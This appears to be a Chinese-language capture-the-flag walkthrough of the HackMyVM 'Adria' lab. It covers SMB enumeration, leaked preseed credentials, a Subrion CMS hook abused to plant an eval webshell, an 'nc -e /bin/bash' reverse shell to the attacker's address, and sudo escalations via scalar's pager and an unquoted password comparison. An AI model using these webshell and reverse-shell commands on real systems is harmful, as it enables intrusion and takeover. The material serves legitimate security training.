<h1>Adria.</h1>
<blockquote>
<a href="https://hackmyvm.eu/machines/machine.php?vm=Adria">https://hackmyvm.eu/machines/machine.php?vm=Adria</a>
</blockquote>
Notes：Enjoy!
<h2>前期踩点</h2>
<pre><code class="hljs language-bash">➜ Adria nmap -sP 192.168.56.0/24 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-16 20:58 EDT
Nmap scan report for 192.168.56.1
Host is up (0.00042s latency).
MAC Address: 0A:00:27:00:00:09 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00031s latency).
MAC Address: 08:00:27:F5:11:95 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.63
Host is up (0.00046s latency).
MAC Address: 08:00:27:7F:AE:28 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.4
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 6.06 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Adria nmap -sT -min-rate 10000 -p- 192.168.56.63
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-16 20:58 EDT
Nmap scan report for 192.168.56.63
Host is up (0.00058s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 08:00:27:7F:AE:28 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 4.50 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Adria nmap -sT -A -T4 -O -p 22,80,139,445 192.168.56.63 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-16 21:00 EDT 
Nmap scan report for 192.168.56.63 
Host is up (0.00072s latency). 

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey: 
| 256 dd:83:da:cb:45:d3:a8:ea:c6:be:19:03:45:76:43:8c (ECDSA)
|_ 256 e5:5f:7f:25:aa:c0:18:04:c4:46:98:b3:5d:a5:2b:48 (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
| http-robots.txt: 7 disallowed entries 
| /backup/ /cron/? /front/ /install/ /panel/ /tmp/ 
|_/updates/
|_http-title: Did not follow redirect to http://adria.hmv/
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
MAC Address: 08:00:27:7F:AE:28 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: 2s
|_nbstat: NetBIOS name: ADRIA, NetBIOS user: &#x3C;unknown>, NetBIOS MAC: &#x3C;unknown> (unknown)
| smb2-security-mode: 
| 3:1:1: 
|_ Message signing enabled but not required
| smb2-time: 
| date: 2025-05-17T01:00:49
|_ start_date: N/A
</code></pre>
<h2>SMB</h2>
我们能看到有<code>SMB</code>服务，尝试使用<code>anonymous</code> 用户去连接
<pre><code class="hljs language-bash">➜ Adria smbclient -L 192.168.56.63 -U anonymous
Password for [WORKGROUP\anonymous]:

 Sharename Type Comment
 --------- ---- -------
 print$ Disk Printer Drivers
 DebianShare Disk 
 IPC$ IPC IPC Service (Samba 4.17.12-Debian)
 nobody Disk Home Directories
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Protocol negotiation to server 192.168.56.63 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
</code></pre>
在 <code>DebianShare</code> 中能下载一个压缩包
<pre><code class="hljs language-bash">➜ Adria smbclient //192.168.56.63/DebianShare -U anonymous
Password for [WORKGROUP\anonymous]:
Try "help" to get a list of possible commands.
smb: \> dir
 . D 0 Mon Dec 4 04:32:45 2023
 .. D 0 Sat Jul 22 04:10:13 2023
 configz.zip N 2756857 Mon Nov 6 10:56:25 2023

 19480400 blocks of size 1024. 15689496 blocks available
smb: \> get configz.zip 
getting file \configz.zip of size 2756857 as configz.zip (47232.3 KiloBytes/sec) (average 47232.3 KiloBytes/sec)
</code></pre>
解压该压缩包
<pre><code class="hljs language-bash">unzip configz.zip
</code></pre>
<pre><code class="hljs language-bash">➜ configz ls
boot isolinux preseed
</code></pre>
这些文件夹通常出现在与操作系统安装相关的目录结构中，尤其是用于创建安装盘或启动镜像时。具体解释如下：
<ul>
<li>boot：通常用于存放启动所需的文件，比如内核和初始文件系统。系统启动时，Bootloader 会加载这里的文件来启动操作系统。</li>
<li>isolinux：这是一个与 ISO 镜像文件相关的文件夹，包含了用于启动的文件，通常是 Linux 发行版或其他操作系统的安装镜像中的启动管理器。<code>isolinux</code> 是 ISO 9660 标准的一部分，通常用于创建可启动的 CD/DVD 镜像。</li>
<li>preseed：通常与自动化安装相关。<code>preseed</code> 文件是用来配置操作系统安装过程中一些默认选项的文件，常见于 Debian 和 Ubuntu 系统中。它可以用于在安装过程中自动填写设置，免去人工干预。</li>
</ul>
在**<code>preseed</code>**中找到了一些有趣的东西
<pre><code class="hljs language-bash">// 创建 admin 用户
# Users
d-i passwd/user-fullname string admin
d-i passwd/username string admin
d-i passwd/user-password password jojo1989
d-i passwd/root-login boolean true
d-i passwd/root-password password jojo1989
d-i user-setup/allow-password-weak boolean true

// 创建 Adam Lewis 用户
# To create a normal user account.
d-i passwd/user-fullname string Adam Lewis
d-i passwd/username string alewis
# Normal user's password, either in clear text
#d-i passwd/user-password password insecure
#d-i passwd/user-password-again password insecure
# or encrypted using a crypt(3) hash.
d-i passwd/user-password-crypted 158f5ddb69d03f91bb449ee170913268
# Create the first user with the specified UID instead of the default.
d-i passwd/user-uid string 1010
# The installer will warn about weak passwords. If you are sure you know
# what you're doing and want to override it, uncomment this.
#d-i user-setup/allow-password-weak boolean true
</code></pre>
使用 <code>rockyou</code> 爆破 <code>alewis</code> 用户的密码失败了
<h2>Web 渗透</h2>
<h3>信息收集</h3>
需要将 <code>adria.hmv</code> 写入 <code>hosts</code> ，是使用 <code>subrion</code> 搭建的（一个开源内容管理系统）
<img src="/post-images/HackMyVMAdria/image.png" alt="image.png">
有注册功能，但是密码会被发送到邮箱，但是邮箱是收不到的。
<img src="/post-images/HackMyVMAdria/image1.png" alt="image.png">
尝试前面获得的账户 <code>admin:jojo1989</code>
<img src="/post-images/HackMyVMAdria/image2.png" alt="image.png">
点击齿轮图标能进入后台，并且能看到版本是 <code>4.2.1</code>
<img src="/post-images/HackMyVMAdria/image3.png" alt="image.png">
搜索公开漏洞，该版本存在文件上传漏洞
<h3>CVE-2018-19422</h3>
直接脚本梭哈：<a href="https://github.com/hev0x/CVE-2018-19422-SubrionCMS-RCE">https://github.com/hev0x/CVE-2018-19422-SubrionCMS-RCE</a>
<img src="/post-images/HackMyVMAdria/image4.png" alt="image.png">
我这里尝试修改了脚本，因为是成功登陆进去了的，但是也是在上传后无法进行访问，我这里手动上传也是一样
然后找到了另外一种利用方式：<a href="https://github.com/intelliants/subrion/issues/909">https://github.com/intelliants/subrion/issues/909</a>
<ol>
<li>
查看网站绝对路径 <code>/var/www/html</code>
<img src="/post-images/HackMyVMAdria/image5.png" alt="image.png">
</li>
<li>
<code>system</code> 中选择 <code>hooks</code> 页
<img src="/post-images/HackMyVMAdria/image6.png" alt="image.png">
</li>
<li>
在 <code>Hooks</code> 中编辑 <code>sitemapGeneration</code> 并保存，从上面的 <code>PHPinfo</code> 获取绝对路径
此时我们可以将 webshell 写入网站首页文件 <code>index.php</code>
<pre><code class="hljs language-bash">fputs(fopen('/var/www/html/index.php','a+'),'@eval($_GET[cmd]);');
</code></pre>
<img src="/post-images/HackMyVMAdria/image7.png" alt="image.png">
</li>
<li>
<code>save</code> 后点击 <code>General Sitemap</code>
<img src="/post-images/HackMyVMAdria/image8.png" alt="image.png">
</li>
<li>
监听端口，进行反弹 <code>shell</code>
<pre><code class="hljs language-bash">➜ Adria curl -G "http://adria.hmv/index.php" --data-urlencode "cmd=system('nc -e /bin/bash 192.168.56.4 1234');"
</code></pre>
<img src="/post-images/HackMyVMAdria/image9.png" alt="image.png">
</li>
</ol>
<h2>提权 - To Adriana</h2>
查看 <code>sudo</code> 权限
<pre><code class="hljs language-bash">www-data@adria:/var/www/html$ sudo -l
sudo: unable to resolve host adria: Temporary failure in name resolution
Matching Defaults entries for www-data on adria:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User www-data may run the following commands on adria:
 (adriana) NOPASSWD: /usr/bin/scalar
</code></pre>
该命令无法提权，但是可以通过它的 <code>help</code> 进行提权，它的命令帮助是通过 <code>head</code> 打开的，<code>head</code>只需要输入 <code>!/bin/bash</code> 即可打开 <code>shell</code>
<img src="/post-images/HackMyVMAdria/image10.png" alt="image.png">
写入公钥，然后就可以使用 <code>SSH</code> 进行登陆了
<img src="/post-images/HackMyVMAdria/image11.png" alt="image.png">
<code>user.txt</code>
<pre><code class="hljs language-bash">╭─adriana@adria ~ 
╰─$ cat user.txt 
fbd401c3bff5ec92d1ba6f74a2340f0f
</code></pre>
<h2>提权 - To Root</h2>
<code>sudo</code> 权限
<pre><code class="hljs language-bash">╭─adriana@adria ~ 
╰─$ sudo -l
sudo: unable to resolve host adria: Temporary failure in name resolution
Matching Defaults entries for adriana on adria:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User adriana may run the following commands on adria:
 (ALL : ALL) NOPASSWD: /opt/backup
</code></pre>
查看 <code>backup</code> 是一个脚本
<pre><code class="hljs language-bash">╭─adriana@adria /opt 
╰─$ ls -al backup 
-rwxr-xr-x 1 root root 294 Nov 6 2023 backup
╭─adriana@adria /opt 
╰─$ cat backup 
#!/bin/bash

PASSWORD=$(/usr/bin/cat /root/pass)

read -ep "Password: " USER_PASS

if [[ $PASSWORD == $USER_PASS ]] ; then

 /usr/bin/echo "Authorized access"
 /usr/bin/sleep 1
 /usr/bin/zip -r -e -P "$PASSWORD" /opt/backup.zip /var/www/html
else
 /usr/bin/echo "Access denied"
 exit 1
fi
</code></pre>
读取用户输入的密码和<code>/root/pass</code>中的密码进行比对，正确的话会使用密码作为压缩密码压缩 <code>/var/www/html</code> 并保存为 <code>/opt/backup.zip</code>
其中的 <code>$PASSWORD == $USER_PASS</code> 应该为 <code>"$PASSWORD"== "$USER_PASS"</code> ，可以尝试使用通配符绕过
并且<code>zip -P "$PASSWORD"</code>会将密码明文传递到命令行参数，通过<code>ps -ef</code>等命令可被其他用户捕获
首先上传 <code>pspy64</code> 监听进程
然后执行 <code>sudo /opt/backup</code> ，密码输入 <code>*</code> ，然后 <code>pspy64</code> 中可以截取到密码
<img src="/post-images/HackMyVMAdria/image12.png" alt="image.png">
<pre><code class="hljs language-bash">8eNctPoCh4Potes5eVD7eMxUw6wRBmO
</code></pre>
该密码就是 <code>root</code> 的密码，读取 <code>root.txt</code>
<pre><code class="hljs language-bash">╭─root@adria ~ 
╰─# cat root.txt 
3a61b172fd39402aa96b1653a18e38a1
</code></pre>

HackMyVM - Adria

HackTheBox - Machine - Developer

HackTheBox - Machine - TwoMillion